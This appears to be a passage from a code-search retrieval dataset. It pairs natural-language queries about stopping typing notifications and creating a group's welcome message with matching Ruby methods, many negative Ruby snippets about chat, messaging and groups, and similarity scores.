:cmd_tell, 2, 0, nil, \"Have the bot tell the given user something the next time they speak. Parameters: nick message\"\nend", "def speak\n puts \"Ho, ho, ho! Haaaappy holidays!\"\n end", "def speak\n puts \"Ho, ho, ho! Haaaappy holidays!\"\n end", "def send(text)\n super(\"|/pm #{@id}, #{text.to_s}\")\n end", "def start_command(message)\n user =\n TelegramUser.where(chat_id: message.chat.id).first_or_initialize\n user.chat_id = message.chat.id\n user.name = \"#{message.from.first_name} #{message.from.last_name}\"\n user.save!\n api_send_message(chat_id: message.chat.id,\n text: \"Hello #{message.from.first_name}\")\n end" ]
[ "0.76182014", "0.76182014", "0.75194216", "0.6636829", "0.6444439", "0.63481843", "0.5942958", "0.58620864", "0.5420129", "0.53828186", "0.53645146", "0.53613037", "0.53605044", "0.529463", "0.527212", "0.5256911", "0.52463955", "0.522275", "0.5167252", "0.51645935", "0.51556814", "0.5150118", "0.51482487", "0.5145844", "0.5110264", "0.51090145", "0.51081777", "0.5105791", "0.5097103", "0.50931185", "0.5091601", "0.50839067", "0.5056737", "0.5030824", "0.5024618", "0.50120634", "0.5010484", "0.49968907", "0.4996569", "0.49930182", "0.4992403", "0.4976493", "0.49655455", "0.49384382", "0.49376452", "0.49310708", "0.49299154", "0.49197066", "0.4916986", "0.4916504", "0.49144742", "0.48965624", "0.48926058", "0.4877923", "0.48668927", "0.48655966", "0.48615518", "0.48615518", "0.4857098", "0.48568815", "0.48555642", "0.48553234", "0.4854758", "0.48462033", "0.48444444", "0.4838329", "0.4825129", "0.4818827", "0.48164204", "0.48161846", "0.48117414", "0.4811186", "0.48107356", "0.48090515", "0.4806848", "0.4803267", "0.47978637", "0.47957775", "0.47934908", "0.47841403", "0.47841346", "0.47794086", "0.47748283", "0.47748283", "0.47748283", "0.4772524", "0.47704124", "0.47697857", "0.476885", "0.4766978", "0.47665644", "0.47652993", "0.47627354", "0.47607157", "0.47503427", "0.47485963", "0.4747534", "0.4747534", "0.47412062", "0.4741128" ]
0.69296753
3
send instant notifications for stop typing
def stop_typing(_user) PubSub::Publisher.new.publish_for(user_participants.online.where.not(id: _user.id), 'stop_typing', {source: {id: id}, user: {id: _user.id}}, {foreground: true}) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def stop_typing\n PubSub::Publisher.new.publish_for(conversation.user_participants.online.where.not(id: sender.id), 'stop_typing', {source: {id: conversation_id}, user: {id: sender.id}}, {foreground: true})\n end", "def start_typing(data); end", "def start_typing(data); end", "def typing(recipient:)\n\t\t# TODO Fill the method TelegramAdapter#Typing\n\t\t# Bot.deliver(recipient: recipient, sender_action:'TYPING_ON')\n\t\tchat_id = recipient['id']\n\t\t@bot.sendChatAction(chat_id: chat_id, action: 'typing')\t\n\tend", "def stop_message\n \"Slack Pomodoro Timer stopped!\"\n end", "def stop\n Prompt.restore\n Hook.unregister\n end", "def start_typing\n API::Channel.start_typing(@bot.token, @id)\n end", "def bot_stop_watching(event)\n if @thread.nil?\n event.respond 'but i not watch thing rigth now???'\n else\n event.respond \"i stop watc #{@url} at #{@css}\"\n @thread.exit\n end\n end", "def stopcmd\n end", "def cmd_notify_stop\n\t\t\t\tprint_status(\"Stopping the monitoring of sessions to Slack\")\n\t\t\t\tself.framework.events.remove_session_subscriber(self)\n\t\t\tend", "def on_stop (track)\n end", "def stop\n\n @stopped = true\n\n onotify(:stop)\n end", "def typing(options={})\n last_received_channel = @last_received_user_message ? @last_received_user_message.channel : nil\n default_options = {channel: last_received_channel}\n client.typing(default_options.merge(options))\n end", "def stop\n @actions << :stop\n end", "def stop\n action('stop')\n end", "def onBtSend_chat_tavolo_text(sender, sel, ptr)\n msg = @txtchat_tavolo_line.text\n @banned_words.each do |word|\n msg.gsub!(word, \"****\")\n end\n @net_controller.send_chat_text(msg, :chat_tavolo)\n @txtchat_tavolo_line.text = \"\"\n end", "def start_typing(token, channel_id)\n request(\n __method__,\n :post,\n \"#{api_base}/channels/#{channel_id}/typing\",\n nil,\n Authorization: token\n )\n end", "def stop\n @continue_sending = false\n end", "def stop_polling!; end", "def do_stop\n @notifier.remove_listener self\n @condition.signal\n end", "def start_typing(_user)\n PubSub::Publisher.new.publish_for(user_participants.online.where.not(id: _user.id), 'start_typing', {source: {id: id}, user: _user.as_basic_json(:now)}, {foreground: true})\n end", "def stop!; end", "def destroy\n @typing.destroy\n respond_to do |format|\n format.html { redirect_to typings_url, notice: 'Typing was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def timeout_stop(timeout)\n model.timeout_stop(timeout)\n end", "def stop\n\t\tself.sender.stop\n\tend", "def begin_typing(&block)\n with_keyboard_focus do\n application.keyboard.when_element(:visible?) do\n yield application.keyboard if block_given?\n end\n end\n end", "def stop_listening_to(io); end", "def keyscan_stop\n\t\trequest = Packet.create_request('stdapi_ui_stop_keyscan')\n\t\tresponse = client.send_request(request)\n\t\treturn true\n\tend", "def nosourceack(text)\n\t$k.kill\nend", "def stop()\n if running?\n # stop sound then reset parameters in case they were previously changed\n %x{#{echo()} stop > #{fifo()}}\n system \"stty #{$app.old_stty}\" # restore stty settings\n end\n end", "def stop_me\n text = \"\"\n while text != \"STOP\"\n puts \"You gotta STOP!\"\n text = gets.chomp\n end\nend", "def stop\n update(underway_at: nil)\n end", "def stop!\n return unless self.started_at.present? and self.stopped_at.nil?\n\n # Each attendee needs to be stopped as well.\n self.attendees.each(&:stop!)\n\n self.update_attribute(:stopped_at, Time.now)\n end", "def raw_pause\n raw_stop\n end", "def raw_pause\n raw_stop\n end", "def stop\n put :stop\n end", "def stop\n @keep_watching = false\n update_spinner('Stopping')\n nil\n end", "def stop\n @enabled = false\n end", "def stopsig(*) end", "def stop!\n @stop = true\n end", "def stop!\n @stop = true\n end", "def process\n if ['STOP', 'STOP\\n', 'STOP\\r', 'STOP\\r\\n'].include? text\n $redis.set(\"STOP_#{to}_#{from}\", {}, { ex: RESET_INBOUND_CACHE_TIME }) == 'OK'\n end\n end", "def stop\n control :kill\n self\n end", "def stop\n connection.write(\"stop\")\n end", "def stop\n connection.write(\"stop\")\n end", "def stop\n connection.write(\"stop\")\n end", "def stop_token\n @bus << nil\n end", "def stop; end", "def stop; end", "def stop; end", "def stop; end", "def stop; end", "def stop; end", "def stop; end", "def control_stop\n\t\tself.request( :control_stop )\n\tend", "def stop_listening\n @continue_listening = false\n end", "def signal_stop_forced\n @stop_state ||= :forced\n interrupt_server_polling_sleep\n nil\n end", "def done_typing\n variable_id = text_input_window.variable_id\n $game_variables[variable_id] = text_input_window.text\n text_input_window.close\n end", "def intent_listen_stop\n\tbegin\n\t\tdata = { 'myData' => 'This is broadcast data 5!' }\n\t\tif @params['par']\n\t\t\tcase @params['par']\n\t\t\twhen '411'\n\t\t\t\tparams_constructor(Rho::Intent::BROADCAST,\"\",\"com.rhomobile.BROADCAST\",[\"com.rhomobile.compliancetestruby\"],\"\",\"\",\"\",\"\",data)\n\t\t\twhen '412'\n\t\t\t\tparams_constructor(Rho::Intent::BROADCAST,\"\",\"\",\"\",\"compliancetestruby\",\"\",\"\",\"\",data)\t\t\t\t\t\n\t\t\twhen '413'\n\t\t\t\tparams_constructor(Rho::Intent::BROADCAST,\"\",\"\",\"\",\"rhomobile compliancetest_ruby/compliancetestruby.exe\",\"\",\"\",\"\",data)\n\t\t\telse\n\t\t\tend\n\t\tend\n\t\tRho::Intent.startListening(url_for(:action => :listen_callback))\n\t\tRho::Intent.stopListening()\n Rho::Intent.send(@result)\n\trescue => ex\n\t\tjsmethod = 'Ruby.sendValueToJS(\"' + ex.message + '\")'\n\t\tRho::WebView.executeJavascript(jsmethod)\n\tend\nend", "def cancel!\n self.type = :unsubscribed\n reply_if_needed!\n end", "def stop_action\n action(:stop)\n end", "def stop\n @timer.cancel\n end", "def stop\n @timer.cancel\n end", "def set_typing\n @typing = Typing.find(params[:id])\n end", "def controlTextDidChange(notification)\n queue.cancelAllOperations\n if searchField.stringValue =~ /^\\s*$/\n @filteredData = Utf8::Symbol.all\n reloadTable\n else\n search = SearchTask.alloc.initWithTerm(searchField.stringValue)\n queue.addOperation(search)\n end\n end", "def stop\n end", "def stop\n end", "def stop\n end", "def stop\n end", "def to_telegram(msg)\n msg.gsub(/\\./,\" STOP\")\nend", "def _stomp_input_text(*args)\n Log.debug(\"[GRIDIUM::Element] Clearing \\\"#{value}\\\" from element: (#{self})\")\n element.clear\n sleep @text_padding_time\n Log.debug(\"[GRIDIUM::Element] Typing: #{args} into element: (#{self}).\")\n element.send_keys(*args)\n sleep @text_padding_time\n end", "def service_stop; end", "def stop\n\n super\n\n stop_observing\n end", "def stop\n end", "def stop\n end", "def stop\n end", "def stop\n end", "def stop\n end", "def stop\n end", "def stop\n end", "def stop\n end", "def stopping; end", "def unsend!\n @_sended = false\n end", "def stop_symbol\n STOP\n end", "def to_telegram(msg)\n msg.gsub(\".\", \" STOP\")\nend", "def signal_stop\n @stop_requested = true\n end", "def stop_watching\n @thread.kill\n end", "def controlTextDidChange(notification)\n value = notification.object.stringValue\n\n if value.length == 20\n p \"controlTextDidChange and length is 20: #{value}\"\n self.apiKey = value\n\n NSNotificationCenter.defaultCenter.postNotificationName(\n 'com.cimenu.CIMenu.preferences.token.changed',\n object:nil,\n userInfo:value)\n end\n end", "def stop(examples_notification)\n super(examples_notification)\n end", "def stop_ticker(m)\n quiet_stop_ticker(m)\n m.reply \"Google RSS: Off\"\n end", "def stop\n @stop = true\n end", "def stop\n @run = false\n end", "def stop\n @selector.stop\n end", "def stop\n @running = false\n end", "def stop\n @running = false\n end", "def stop\n @running = false\n end", "def nlu_handle_input\n # Wit processing will take a while, so we want to show activity\n @message.mark_seen\n @message.typing_on\n return if acted_on_non_questions?\n # Non-questions ruled out, we can\n # save a question to correct later, if needed\n @user.session[:needs_correction] = @message.text\n # Act on a type of question\n act_on_question_types\n # We're done replying\n @message.typing_off\n end", "def stop\n @running = false\n end", "def stop(sync = T.unsafe(nil)); end", "def stop(commands, runner)\n end" ]
[ "0.69841737", "0.6149496", "0.6149496", "0.58092123", "0.5680132", "0.5670255", "0.5641455", "0.56201845", "0.5503337", "0.5445626", "0.54041046", "0.53622854", "0.5352317", "0.5321119", "0.52746415", "0.5264371", "0.52412313", "0.52366", "0.5235099", "0.5219051", "0.5197758", "0.51866156", "0.51855934", "0.5168807", "0.5133692", "0.51270354", "0.5121862", "0.51204836", "0.51023424", "0.50866187", "0.5081381", "0.5075177", "0.5074183", "0.507217", "0.507217", "0.5071472", "0.5065707", "0.506107", "0.50596356", "0.5056882", "0.5056882", "0.50451845", "0.50436443", "0.5041454", "0.5041454", "0.5041454", "0.503954", "0.5035678", "0.5035678", "0.5035678", "0.5035678", "0.5035678", "0.5035678", "0.5035678", "0.5030254", "0.50273573", "0.50222063", "0.5018588", "0.5013267", "0.50077754", "0.5006939", "0.49993896", "0.49993896", "0.49991092", "0.4995622", "0.49672475", "0.49672475", "0.49672475", "0.49672475", "0.4945742", "0.4942562", "0.49338818", "0.49312544", "0.49256888", "0.49256888", "0.49256888", "0.49256888", "0.49256888", "0.49256888", "0.49256888", "0.49256888", "0.49151927", "0.49113324", "0.4896299", "0.4883606", "0.4878468", "0.48773295", "0.4876988", "0.48765385", "0.48718202", "0.4871079", "0.48681238", "0.4864293", "0.48636636", "0.48636636", "0.48636636", "0.48593137", "0.48510504", "0.48501787", "0.4838541" ]
0.6624377
1
create default message after group was created
def generate_welcome_message if default_message.present? messages.notification.create(sender_id: owner_id, body: default_message) else messages.notification.create(sender_id: owner_id, body: "#{owner.full_name(false)} created this conversation group.") if is_group_conversation? end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @group = Group.find(params[:message][:group_id])\n\n # @message = current_user.messages.build(params[:message])\n\n @message = current_user.messages.build(content: params[:message][:content], picture: params[:message][:picture])\n # Group.find(params[:message][:group_id]).messages << @message\n @group.messages << @message\n\n # binding.pry\n\n # SE CREAN LOS MENSAJES EN LA TABLA MESSAGE CON EL GROUP_ID = NIL. NO HE DESCUBIERTO CÓMO SOLUCIONARLO\n # NO SE COMO PUEDO REDIRECCIONAR AL SHOW DEL GRUPO UNA VEZ HE CREADO EL MENSAJE\n\n\n if @message.save\n flash[:success] = \"Message created!\"\n redirect_to @group\n else\n @feed_items = []\n render 'new'\n end\n end", "def new_message\n end", "def after_create_group\n controller = PublicActivity.get_controller\n\n # Return if seeding or nothing changes\n return if !controller || self.changed.blank?\n\n current_user = PublicActivity.get_controller.current_user\n\n self.create_activity :create, owner: current_user,organization_id: self.organization_id, params: {:detail => I18n.t('logs.create_group', group_name: self.name)}\n end", "def create\n \tparams[:message][:group_id] = params[:group_id]\n @message = Message.new(params[:message])\n\n respond_to do |format|\n if @message.save\n \tcurrent_user.sent_messages << @message\n format.html { redirect_to @message, notice: 'Message was successfully created.' }\n format.json { render json: @message, status: :created, location: @message }\n else\n format.html { render action: \"new\" }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n if @message.save\n flash[:notice] = t('created')\n \n respond_to do |format|\n format.html { redirect_to @user ? member_path(@user) : group_path(@group) }\n end\n else\n respond_to do |format|\n format.html { render :new }\n end\n end\n end", "def createGroup\n call :createGroup\n end", "def action_create\n notifying_block do\n create_group if new_resource.group\n create_user\n end\n end", "def create_message(data); end", "def create_message(data); end", "def create_group\n params[:new_members] = params[:participants]\n params[:new_admins] = params[:admin_ids]\n conversation = current_user.conversations.new(group_params)\n if conversation.save\n render_conversation(conversation)\n else\n render_error_model(conversation)\n end\n end", "def create\n @group_message = GroupMessage.new(group_message_params)\n\n respond_to do |format|\n if @group_message.save\n format.html { redirect_to @group_message, notice: 'Group message was successfully created.' }\n format.json { render :show, status: :created, location: @group_message }\n else\n format.html { render :new }\n format.json { render json: @group_message.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_last_message_key(user, group)\n user.id.to_s + group.uuid\n end", "def create\n @users = User.all\n @groups = Group.all\n if params[:message_group_ids]\n @select_group_ids = params[:message_group_ids]\n end\n params[:message][:user_id] = current_user.id\n if !params[:message_group_ids].nil?\n params[:message_group_ids].each do |group_id|\n user_ids = Group.find(group_id).users.collect(&:id)\n user_ids.each do |user_id|\n unless params[:message][:user_ids].include?(user_id.to_s)\n params[:message][:user_ids] << user_id.to_s\n end\n end\n end\n end\n @message = Message.new(params[:message])\n\n respond_to do |format|\n if @message.save\n format.html { redirect_to @message, notice: t(:message_created) }\n format.json { render json: @message, status: :created, location: @message }\n else\n format.html { render action: \"new\" }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_group_message\n @group_message = GroupMessage.find(params[:id])\n end", "def create_group\n @mailing_list_group = MailingListGroup.new\n @mailing_list_group.user = current_user\n @mailing_list_group.name = current_user.new_mailing_list_name\n @ok = @mailing_list_group.save\n render 'update_list'\n end", "def set_groupmessage\n @groupmessage = Groupmessage.find(params[:id])\n end", "def message_template; end", "def twilio_create_group(name,owner_name,members)\n client = twilio_auth!\n twilio_broadcast!(client,members,\"Welcome to #{name} an event created by #{owner_name}\")\n end", "def create\n welcome_message\n super\n end", "def newMessage\n message = Message.last\n\n MagicMailer.newMessage(message)\n end", "def create\n @message = Message.new(params[:message])\n if params[:group_id]\n @message.owner = Group.find(params[:group_id]) \n else\n @message.owner ||= default_company\n end\n @message.archived = false\n @message.author = current_user\n @message.published_at ||= Time.now\n \n if @message.owner_type == 'Group'\n message = \"You do not have access needed to create the discussion <strong>'#{@message.subject}'</strong> for this working group at this time. If you are still interested in creating this discussion, please let us know.\"\n authorize! :create_in, @message.owner, :message => message.html_safe\n else\n message = \"You do not have access needed to create the discussion <strong>'#{@message.subject}'</strong> at this time. If you are still interested in creating this discussion, please let us know.\"\n authorize! :create, @message, :message => message.html_safe\n end\n\n respond_to do |format|\n if @message.save\n format.html { redirect_to polymorphic_path([@group, @message]) }\n format.json { render json: @message, status: :created, location: @message }\n else\n format.html { render action: \"new\" }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n if(params[:group][:name].nil?) or (params[:group][:name] == \"\")\n flash[:notice] = \"Group must have a name and description\"\n redirect_to new_group_path\n else\n \n #create a new group\n @group = Group.new(group_params)\n user = User.find(session[:user_id]) \n respond_to do |format|\n if @group.save\n #generate a code for the group\n o = [('a'..'z'), ('A'..'Z')].map(&:to_a).flatten\n new_code = (0...8).map { o[rand(o.length)] }.join\n @group.update(code: new_code)\n #after group is created add creator to group as leader\n Membership.create!(user_id: session[:user_id], group_id: @group.id, member_type: 'leader', username: user.username)\n format.html {redirect_to @group, notice: \"Group was successfully created.\"}\n format.json {render :show, status: :created, location: @group}\n else\n format.html {render :new, status: :unprocessable_entity}\n format.json {render json: @group.errors, status: :unprocessable_entity}\n end\n end\n end\n end", "def default_message_for(key)\n if @options[:message]\n :message\n else\n @options[:\"#{key}_message\"] = key\n :\"#{key}_message\"\n end\n end", "def creating( msg )\n @log.info \"creating #{msg}\"\n end", "def create\n @message = Message.new(message_params)\n if @message.save\n if @message.group_id\n redirect_to group_path(session[:group_id])\n else\n redirect_to inbox_path\n end\n else\n render :new\n end\n end", "def agroup_components\n self.add(@msg)\n end", "def create_msg(txt)\n if :locale == 'de'\n self.action = \"Nachricht: '#{txt}'\"\n else\n self.action = \"Message: '#{txt}'\"\n end\n end", "def create\n\n @message = Message.new(message_params)\n @message.sender = current_user\n @message.recipients << current_user\n to = params[:to]\n if to.nil?\n group = Group.find_by(id: params[:group_id])\n @message.groups << group\n to = []\n unless group.nil?\n group.users.each do |user|\n to << user.username\n end\n end\n else\n to = to.split(/\\s*,\\s*/)\n end\n to.each do |user_str|\n user = User.find_by(username: user_str)\n if user.nil?\n user = User.find_by(email: user_str)\n end\n unless user.nil?\n unless @message.recipients.include?(user)\n @message.recipients << user\n end\n end\n end\n\n respond_to do |format|\n if @message.save\n if group.nil?\n format.html { redirect_to messages_url, notice: 'Message was successfully created.' }\n else\n format.html { redirect_to group, notice: 'Message was successfully created.' }\n end\n format.json { render :show, status: :created, location: @message }\n else\n format.html { redirect_to messages_url }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @message = Message.new(params[:message])\n @message.user = User.where(:name => @message.to).first\n @message.from = current_user.name\n unless current_user.image_url.nil?\n @message.associated_images = current_user.image_url\n end\n respond_to do |format|\n if @message.save && (@message.user.group_id == User.where(:name => @message.from).first.group_id)\n format.html { redirect_to @message, notice: 'Message was successfully created.' }\n format.json { render json: @message, status: :created, location: @message}\n else\n format.html { render action: \"new\", notice: 'Users not of the same group' }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_pop_group( name ) \n return \"Group #{name} already exists.\" if NodeGroup.find_by_name( name )\n \n unless File.exists?( SpkDashboard::DATA_PATH + \"/data_#{name}\" )\n return \"No params file found to create group #{name}. FILE: #{SpkDashboard::DATA_PATH + \"/data_#{name}\"}\"\n end\n \n params = self.read_group_params( name )\n \n nodegroup = NodeGroup.new(\n :name => name,\n :node_group_names => [ \"spk_base\" ],\n :parameter_attributes => params )\n \n if nodegroup.save \n return \"Successfully created group #{name}\"\n else\n return \"Failed to create group #{pop}\"\n end\n \n end", "def message_to_group(message, group, member, sender)\n setup_email(message, group, member, sender)\n \n @subject += I18n.t 'mailer.group_notify.subject', :title=>group.title, :from=>sender.login \n #@subject += 'Message to group '+group.title+' from '+sender.login\n \n @body[:url] = \"http://www.dripplet.com/#{@locale}/groups/#{group.id}\"\n \n end", "def creating( msg )\n @log.info \"creating #{msg}\"\n end", "def create\n message = ConversationMessage.new(message_params.merge(conversation_id: @conversation.id))\n message.userable = get_current_user\n if message.save\n # current_conversation = message.conversation\n # @conversations = Conversation.send(current_conversation.topic).all_onversations(current_user).paginate(page: params[:page], per_page: 10)\n # @conversations << current_conversation\n # @conversations = @conversations.uniq\n @conversation.chatable.groupables.each do |gm|\n ActionCable.server.broadcast \"Message_#{gm.groupable_type}_#{gm.groupable_id}\",\n msg_id: message.id,\n # msg: message_content,\n msg: message.body,\n img_alt: \"#{message.userable.first_name[0]&.capitalize || 'N'}.#{message.userable.last_name[0]&.capitalize || 'A'}\",\n sender_name: message.userable.full_name.capitalize,\n file_url: message.file_url || '',\n msg_url: message.userable.photo,\n msg_time: message.created_at.strftime('%l:%M%P'),\n # msg_att: message.attachment_file,\n # msg_att_name: message.file_name,\n usr_typ: message.userable.class.to_s,\n usr: message.userable.id,\n recpt_type: gm.groupable_type,\n recpt_id: gm.groupable_id,\n unread_msg_cnt: 0, # Conversation.joins(:conversation_messages).where(\"(senderable_type = ? AND senderable_id = ? ) OR (recipientable_type = ? AND recipientable_id = ?)\", recipient.class.to_s, recipient.id, recipient.class.to_s, recipient.id).where.not(conversation_messages: {is_read: true, userable: recipient}).uniq.count,\n con_id: @conversation.id,\n chat_typ: 'Group',\n grp_id: @conversation.chatable.id,\n dom: \"#conversation_#{@conversation.id}\"\n end\n end\n head :ok\n end", "def create\n @group = Group.new(group_params)\n unless @group.save\n render :new and return\n end\n msg = [\"Created group.\", rebuild_configs].join(\" \")\n redirect_to groups_url, notice: msg\n end", "def create_group\n group new_resource.group do\n gid new_resource.gid\n system true\n end\n end", "def message\n 'Example grouping has no name'\n end", "def create\n params[:group].delete(:domain) unless current_group.shapado_version.has_custom_domain?\n @group = Group.new\n if params[:group][:languages]\n params[:group][:languages].reject! { |lang| lang.blank? }\n end\n @group.safe_update(%w[languages name legend description default_tags subdomain logo forum enable_mathjax enable_latex custom_favicon language theme signup_type custom_css wysiwyg_editor], params[:group])\n\n @group.safe_update(%w[isolate domain private], params[:group]) if current_user.admin?\n\n @group.owner = current_user\n @group.state = \"active\"\n\n respond_to do |format|\n if @group.save\n @group.create_default_widgets\n\n Jobs::Images.async.generate_group_thumbnails(@group.id)\n @group.add_member(current_user, \"owner\")\n flash[:notice] = I18n.t(\"groups.create.flash_notice\")\n format.html { redirect_to(domain_url(:custom => @group.domain, :controller => \"admin/manage\", :action => \"properties\")) }\n format.json { render :json => @group.to_json, :status => :created, :location => @group }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @group.errors, :status => :unprocessable_entity }\n end\n end\n end", "def group_new(name, client_id = nil)\n args = { :user => self, :name => name }\n args[:client_id] = client_id unless client_id.nil?\n return CakeMail::Group.create(args)\n end", "def create\n @discussion = Discussion.new(discussion_params)\n respond_to do |format|\n if @discussion.save\n # I need the message to trigger the notification\n message = @discussion.messages.first\n message.notify(:commoners, group: @discussion) if message.present?\n format.html { redirect_to group_discussion_path(@group, @discussion), notice: _('Discussion was successfully created.') }\n format.json { render :show, status: :created, location: @discussion }\n else\n format.html { render :new }\n format.json { render json: @discussion.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_new_discussion_topic_groups(group_id,title,message,require_initial_post,opts={})\n query_param_keys = [\n \n ]\n\n form_param_keys = [\n :title,\n :message,\n :discussion_type,\n :published,\n :delayed_post_at,\n :lock_at,\n :podcast_enabled,\n :podcast_has_student_posts,\n :require_initial_post,\n :assignment,\n :is_announcement,\n :position_after,\n :group_category_id,\n \n ]\n\n # verify existence of params\n raise \"group_id is required\" if group_id.nil?\n raise \"title is required\" if title.nil?\n raise \"message is required\" if message.nil?\n raise \"require_initial_post is required\" if require_initial_post.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :group_id => group_id,\n :title => title,\n :message => message,\n :require_initial_post => require_initial_post\n )\n\n # resource path\n path = path_replace(\"/v1/groups/{group_id}/discussion_topics\",\n :group_id => group_id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_params(options, query_param_keys)\n if opts[:next_page]\n pagination_params = page_params_load(:post, path)\n query_params.merge! pagination_params if pagination_params\n end\n response = mixed_request(:post, path, query_params, form_params, headers)\n page_params_store(:post, path)\n response\n \n end", "def createGroup _args\n \"createGroup _args;\" \n end", "def init_callback(&block)\n if @group.topic.nil?\n debug \"Delaying callback creation for 1 seconds\"\n OmfCommon.el.after(1) {\n init_callback(&block)\n }\n return\n end\n info \"Setting message callback for WiseGroup (#{self.name})\"\n @group.topic.on_message(:wise_group_callback_handler) { |msg|\n rid = msg.content.properties.requestId\n if rid.nil? && @@default_message_types.include?(msg.content.type)\n self.default_callback.call(msg) unless self.default_callback.nil?\n else\n callback = @callback_cache.fetch(rid)\n unless callback.nil?\n callback.call(msg.content.properties)\n else\n if @@default_message_types.include? msg.content.type\n self.default_callback.call(msg) unless self.default_callback.nil?\n end\n end\n end\n }\n block.call(self) if block\n\n end", "def create\n @group = Group.new(group_params)\n @group.user_id = current_user.id\n respond_to do |format|\n if @group.save\n Log.create! description: \"<b>#{current_user.email} </b> created group <b>#{@group.name} </b> at #{@group.created_at.strftime '%d-%m-%Y %H:%M:%S'}\", role_id: current_user.roles.ids.first\n format.html { redirect_to groups_path, notice: 'Group was successfully created.' }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_group_announcement(group, announcement)\n logger.info \"Creating group announcement: #{announcement.title}\"\n navigate_to \"#{Utils.canvas_base_url}/groups/#{group.site_id}/discussion_topics/new?is_announcement=true\"\n enter_and_save_announcement announcement\n end", "def newMessage\n\n @message =Message.new\n @message.author=current_user.id\n @message.text=params[:text]\n @message.group_meal_id= params[:group_meal_id]\n @message.save\n \n query = \"SELECT user_id FROM group_meals_participants where group_meal_id = \" + params[:group_meal_id]\n \n GroupMealsParticipant.connection.select_values(query).each do |u|\n \tif(u!=current_user.id)\n \t\tu=User.find(u)\n \t\tu.alert=true\n \t\tu.alert_location=params[:group_meal_id]\n \t\tu.save\n \tend\n end\n \n redirect_to group_meal_path(GroupMeal.find(params[:group_meal_id]).id)\n end", "def create\n create_message(params)\n end", "def create(name, type)\n configure [\"aaa group server #{type} #{name}\", 'exit']\n end", "def message_template=(_arg0); end", "def create_group(group_node)\n name_ru = group_node.text.delete(\"0-9\")\n Group.create(name_ru: name_ru)\n end", "def <<(message_)\n add(@level_group.default, message_)\n end", "def add_message(name, message)\n\t\tend", "def create_new_vm_group\n end", "def create\n @message = Message.new(message_params)\n @message.message_type = 'Reqular Message `'\n respond_to do |format|\n if @message.save\n format.html { redirect_to @message, notice: 'Message was successfully created.' }\n format.json { render :show, status: :created, location: @message }\n else\n format.html { render :new }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end", "def non_atomic_create\n messages_requested = @room.messages_requested.increment\n @room.send_message_to_requested_channel(@room.messages_requested.value)\n if @room.messages_posted <= @room.max_messages\n if @message.save\n @room.messages_posted.increment\n @room.send_message_to_posted_channel(@room.messages_posted.value)\n @room.send_message_to_chat_channel(render_message_to_string)\n render nothing: true\n else\n logger.info @message.errors.inspect\n end\n else\n render nothing: true\n end\n end", "def newMessage\n @message = Message.new\n end", "def create\n @notify = current_user.invited_members;\n if group_params[:name] == \"\"\n respond_to do |format|\n format.html { redirect_to groups_path, notice: 'Group was Empty Cant created.' }\n end\n\t\t\t\n else\n if current_user.groups.exists? name: group_params[:name]\n\t\t\t\t#this group is already exist\n respond_to do |format|\n format.html { redirect_to groups_path, notice: 'Group was Found .' }\n end\n else\n @group = Group.new(group_params.merge(user: current_user))\n\n respond_to do |format|\n if @group.save\n format.html { redirect_to groups_path, notice: 'Group was successfully created.' }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :index }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end\n end\n end", "def create\n\n logger.info params[:message].to_yaml\n @message = Message.new(params[:message])\n\n if @message.save\n UserMailer.new_message(@message).deliver\n redirect_to user_messages_path(@message.receiver)\n else\n # @messages = Message.where(\"(sender_id = ? AND receiver_id = ?) OR (sender_id = ? AND receiver_id = ?)\", current_user.id, @user.id, @user.id, current_user.id)\n render :template => user_messages_path(@message.receiver_id)\n \n end\n \n end", "def create #:nodoc:\n @group = Group.new(params[:group])\n\n respond_to do |format|\n if @group.save\n flash[:notice] = I18n.t(\"{{value}} was successfully created.\", :default => \"{{value}} was successfully created.\", :value => I18n.t(\"Group\", :default => \"Group\"))\n if params[:create_and_new_button]\n format.html { redirect_to new_group_url }\n else\n format.html { redirect_to groups_url }\n # format.xml { render :xml => @group, :status => :created, :location => @group }\n end\n else\n format.html { render :action => \"new\" }\n # format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @membership = Membership.find_or_create_by_user_id_and_group_id(params[:membership][:user_id], params[:group_id])\n\n if params[:autoconfirm]\n @membership.update_attributes(:level => Membership::LEVELS[:regular])\n else\n @membership.update_attributes(:level => Membership::LEVELS[:pending])\n end\n \n auth!\n\n respond_to do |format|\n if @membership.save\n process_notification(@membership, {:level => @membership.level_name, :adder => current_user.id}, :action => 'create', :owner => @membership.user, :recipient => @membership.group)\n format.html { redirect_to(edit_group_path(@group), :notice => t(:membership_created)) }\n format.xml { render :xml => @group, :status => :created, :location => @group }\n else\n format.html { redirect_to @group }\n format.xml { render :xml => @membership.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_group(default_group)\n @default_group = default_group\n end", "def after_create(group_announcement)\n expire_group_announcement(group_announcement)\n end", "def newgroup(g, args)\n\t\tquery(\"\n\t\t\tINSERT INTO newsgroups\n\t\t\tVALUES ('%s', '%s', '%s', '%s', %d, '%s')\n\t\t\", g, args[:mailto], args[:nntp], args[:title],\n\t\targs[:moderated] ? 1 : 0, args[:pgpkey]) {\n\t\t\tyield true\n\t\t}\n\tend", "def create\n group = params[:group] || {}\n group.delete(:locales)\n group.delete(:domains)\n @group = GROUP.new(group)\n @group.current_user = current_user\n\n respond_to do |format|\n if @group.save\n flash[:notice] = 'Group was successfully created.'\n 